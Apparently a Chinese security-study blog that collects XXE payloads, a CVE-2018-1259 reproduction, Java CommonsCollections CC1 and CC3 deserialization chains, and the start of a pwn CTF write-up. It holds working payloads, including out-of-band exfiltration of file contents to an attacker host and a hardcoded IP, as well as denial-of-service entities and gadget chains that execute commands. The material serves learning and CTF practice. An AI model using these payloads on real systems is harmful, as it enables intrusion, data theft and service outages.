<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&hhh;</test>
1
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>

无回显

OOB

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

1
2
3
4
5
6
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

基于报错

以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

通过引入服务器文件
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
1
2
3
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
通过引入本地文件

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send

嵌套参数实体

虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
]>
<message>10</message>

基于报错的三层嵌套参数实体XXE

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message>

img

2、内网探测

和读文件差不多,只不过把URI改成内网机器地址

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

3、RCE

XXE漏洞利用技巧:从XML到远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

响应:

1
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

4、DOS

XXE萌新进阶全攻略

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

三、绕过姿势

参考绕过WAF保护的XXE

ENTITY SYSTEM file 等关键词被过滤

使用编码方式绕过:UTF-16BE 注意分两部分:

1
2
3
4
5
6
7
8
9
10
import sys

part1 = '<?xml version="1.0" encoding="UTF-16be"'
part2 = f"""?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///path/to/file">]>
<root>&xxe;</root>
"""

with open("tmp.xml", "wb") as f:
f.write(part1.encode('utf-8') + part2.encode("utf-16be"))

若http被过滤,可以

data://协议绕过

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
%a;
%b;
]>
<test>&hhh;</test>

file://协议加文件上传

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://filter协议加文件上传

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

四、利用场景

svg

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

tips:从当前文件夹读取文件可以使用/proc/self/cwd

excel

利用EXCEL进行XXE攻击
首先用excel创建一个空白的xlsx,然后解压

1
2
mkdir XXE && cd XXE
unzip ../XXE.xlsx

[Content_Types].xml改成恶意xml,再压缩回去

1
zip -r ../poc.xlsx *
Read More
post @ 2023-11-20

CVE-2018-1259

漏洞简介

XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件

环境搭建

获取Spring项目包

1
git clone https://github.com/spring-projects/spring-data-examples.git

IDEA打开项目spring-data-examples/web/projection

修改pom.xml文件(将依赖修改为有漏洞的版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>spring-data-web-projection</artifactId>
<name>Spring Data - JSON and XML projection web example</name>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>

<dependency>
<groupId>com.jayway.jsonpath</groupId>
<artifactId>json-path</artifactId>
</dependency>

<dependency>
<groupId>org.xmlbeam</groupId>
<artifactId>xmlprojector</artifactId>
<version>1.4.14</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

这里选择 spring-data-commons采用2.0.5版本, XMLBeam采用1.4.14版本

修改后 右键->Maven->reload project 如果不行试试 File -> Invalidate Caches -> Invaliidate and restart

然后右键运行 默认执行在8080端口

img

漏洞复现

首先构造正常的XML

1
2
<?xml version="1.0" encoding="UTF-8"?>
<user><firstname>aaaa</firstname><lastname>bbbb</lastname></user>

POST方法请求体放入xml 注意Content-Type: application/XML

img

可以看到对应回显

然后增加DTD读取任意文件

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY aaaa SYSTEM "file:///E:/path/to/flag.txt" >
]>
<user><firstname>&aaaa;</firstname><lastname>bbbb</lastname></user>

回显:

1
Received firstname: FLAG{!!!!!!!!!!!!!!HERE I AM!!!!!!!!!!!!!!}, lastname: bbbb

漏洞修复

1
2
3
4
5
# xmlbeam
https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1

# spring-data-commons
https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8

不允许XML包含外部实体,禁用DTD

1
2
3
4
5
6
7
8
9
10
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);


private static final String[] FEATURE_DEFAULTS = new String[] { "http://apache.org/xml/features/disallow-doctype-decl#true", //
"http://xml.org/sax/features/external-general-entities#false", //
"http://xml.org/sax/features/external-parameter-entities#false", //
"http://apache.org/xml/features/nonvalidating/load-external-dtd#false" };
Read More
post @ 2023-11-18

JAVA反序列化CC3

参考:Java反序列化CommonsCollections篇(三)-另一种命令执行方式

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java

环境搭建

同CC1

相关知识

假设Runtime 被过滤 是不是就没办法实现命令执行了呢?

我们可以利用JAVA的类加载机制实现任意代码执行

类加载的核心方法在于defineClass 它接收字节码并返回对应的类(此时还未加载)

再对获取到的类调用newInstance方法实现类加载和实例化

1
2
3
4
5
6
7
8
9
10
public class Test{
static { // 静态代码块 类加载时会被调用
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
// build后会在target文件夹下生成Test.class文件
1
2
3
4
5
6
7
8
9
10
public class LoadClassTest {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method define_class_method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
define_class_method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\path\to\untitled\target\classes\Test.class"));
Class c = (Class) define_class_method.invoke(cl, code, 0, code.length);
c.newInstance(); // 类加载 成功弹出计算器
}
}

总结:需要一个构造一个类,静态代码块放目标执行代码;用defineClass和newInstance触发类加载

漏洞分析

InvokerTransformer没被过滤

0x1

首先寻找defineClass的调用处 这里用到TemplatesImpl.defineClass

1
2
3
4
// TemplatesImpl.defineClass  就是直接调用ClassLoader.defineClass
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

接着追踪到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
}

可以看到23行调用了defineClass

注意点:

  • 10#_tfactory.getExternalExtensionsMap()_tfactory没有在先赋值,仍然为null 调用会报错 所以要通过反射获取Field对其赋值

  • 要绕过35行检测 否则会报错 也就是要通过27行判断使得_transletIndex被赋值 (它默认值就为-1)

    跟进可知String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

    也就是我们的目标类应该要继承这个类 来通过检测

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

    public class Test extends AbstractTranslet{
    static {
    try {
    Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    throw new RuntimeException(e);
    }
    }

    @Override // 这里要重写两个方法
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    }

0x2

接着追踪defineTransletClasses的调用处 有三个地方 但是只有TemplatesImpl.getTransletInstance 中有调用newInstance 对我们有用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
}

同时要注意设置_nameField

0x3

之后追踪到TemplatesImpl.newTransformer

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\path\\to\\untitled\\target\\classes\\Test.class"));
bytecode.set(templates, bytes); // 设置_bytecodes为目标类字节

Field name = tc.getDeclaredField("_name"); // 设置_name 有就可以
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory"); // 设置_tfactory
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

templates.newTransformer(); // 触发 成功弹出计算器

}
}

至此 我们相当于将之前的直接用Runtime执行命令替换成了类加载的模式 接下来就和之前的链条一样了 利用HashMap 和 ChainedTransformer来完成序列化利用

0x4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class CC3Test {
public static void main(String[] args) throws Exception {
/*
HashMap.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.invoke()
TemplatesImpl.newTransformer()
defineClass();newInstance()
*/
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class"));
bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null),
});

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

// serializeTest(o);
// unSerializeTest();
}
}

InvokerTransformer被过滤

0x1

InvokerTransformer被过滤 那我们看看哪里调用了TemplatesImpl.newTransformer() 跟踪到

1
2
3
4
5
6
7
8
public class TrAXFilter extends XMLFilterImpl {
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
}

可以看到直接传一个templates进去就会调用 newTransformer 但是它是不可序列化的(可以用TrAXFilter.class解决)

0x2

这里又用到 InstantiateTransformer.transform 因为它获取构造器并生成实例 正好是我们想要的

1
2
3
4
5
6
7
8
9
10
11
12
public class InstantiateTransformer implements Transformer, Serializable {
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
}

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class CC3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\path\\to\\target\\classes\\Test.class"));
bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

InstantiateTransformer trans = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
trans.transform(TrAXFilter.class); // 成功弹出计算器
}
}

0x3

最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CC3Test {
public static void main(String[] args) throws Exception {
/*
HashMap.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
TrAXFilter(Constructor)
Templates.newTransformer()
defineClass();newInstance()
*/
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class"));
bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);

InstantiateTransformer trans = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
trans
});

HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

serializeTest(o);
// unSerializeTest();
}
}
Read More
post @ 2023-11-15

JAVA反序列化CC1

参考:Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

环境搭建

jdk1.8 依赖 common-collections-3.2.1

还要下载sun包源码便于分析 参考:https://blog.csdn.net/mazhongjia/article/details/108292927

漏洞分析

普通测试执行代码

1
2
3
4
5
6
7
8
9
public class CC1Test {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec_method = c.getDeclaredMethod("exec", String.class);
exec_method.invoke(r, "calc");
}
}

0x1

包中有 InvokerTransformer 可以看到其中transform方法可以反射调用函数 而且类和函数名均可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
// ...
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
// ...
}

}

测试:

1
2
3
4
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
// 成功弹出计算器

0x2

接着继续追踪InvokerTransformer.transform在哪些地方被调用

发现TransformedMap.checkSetValue中有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}

TransformedMap.checkSetValue又在 AbstractInputCheckedMapDecorator.MapEntry.setValue中被调用

也就是遍历map时setValue 又因为TransformedMapAbstractInputCheckedMapDecorator的子类 所以遍历TransformedMap 并setValue即可触发

但需注意给的value值应该为要transform的类对象

AbstractInputCheckedMapDecorator.MapEntry.setValue又在rt.jar中的sun.reflect.annotation.AnnotationInvocationHandler.readObject 中被调用 到这里就明显有一条反序列化利用链了

测试:

1
2
3
4
5
6
7
8
9
10
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Map<Object, Object> map = new HashMap<>();
map.put("key", r);
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(r);
}
// 成功弹出计算器

0x3

因为Runtime不可序列化 所以要利用反射构造

1
2
3
4
5
6
7
8
9
//        Class cls = Runtime.class;
// Method getRuntimeMethod = cls.getMethod("getRuntime");
// Runtime rt = (Runtime) getRuntimeMethod.invoke(null);
/************************转为以下等价代码****************************/

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime rt = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);
// 成功弹出计算器

多个Transformer已经有现成的类ChainedTransformer来处理

构造时按顺序传入InvokerTransformer数组 然后transform时输入最开始的参数 就会链式调用了

1
2
3
4
5
6
7
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chainedTransformer.transform(Runtime.class);
// 成功弹出计算器

此时再次搭配Map:

1
2
3
4
5
6
7
8
9
10
11
12
13
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

Map<Object, Object> map = new HashMap();
map.put("key", "val");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
for(Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(Runtime.class);
}
// 成功弹出计算器

0x4

sun.reflect.annotation.AnnotationInvocationHandler.readObject中进行两个if检测,通过后setValue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

setValue 看起来传不了我们想要的Runtime.class 那么可以改造ChainedTransformer,增添一个ConstantTransformer

1
2
3
4
5
6
7
8
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chainedTransformer.transform();
// 成功弹出计算器

此时再结合AnnotationInvocationHandler序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map<Object, Object> map = new HashMap();
map.put("value", "val"); // 键只能是value 通过检测
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aic = c.getDeclaredConstructor(Class.class, Map.class);
aic.setAccessible(true);
Object o = aic.newInstance(Target.class, transformedMap);

serializeTest(o);
unSerializeTest();
// 成功弹出计算器
/*
public static void serializeTest(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin"));
oos.writeObject(obj);
}
public static void unSerializeTest() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("bin"));
Object obj = ois.readObject();
}
*/
Read More
post @ 2023-11-10

swampctf2019 syscaller

相关资源

文件分析

1
2
3
4
5
6
$ checksec syscaller 
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:00000000004000E0      _start: 
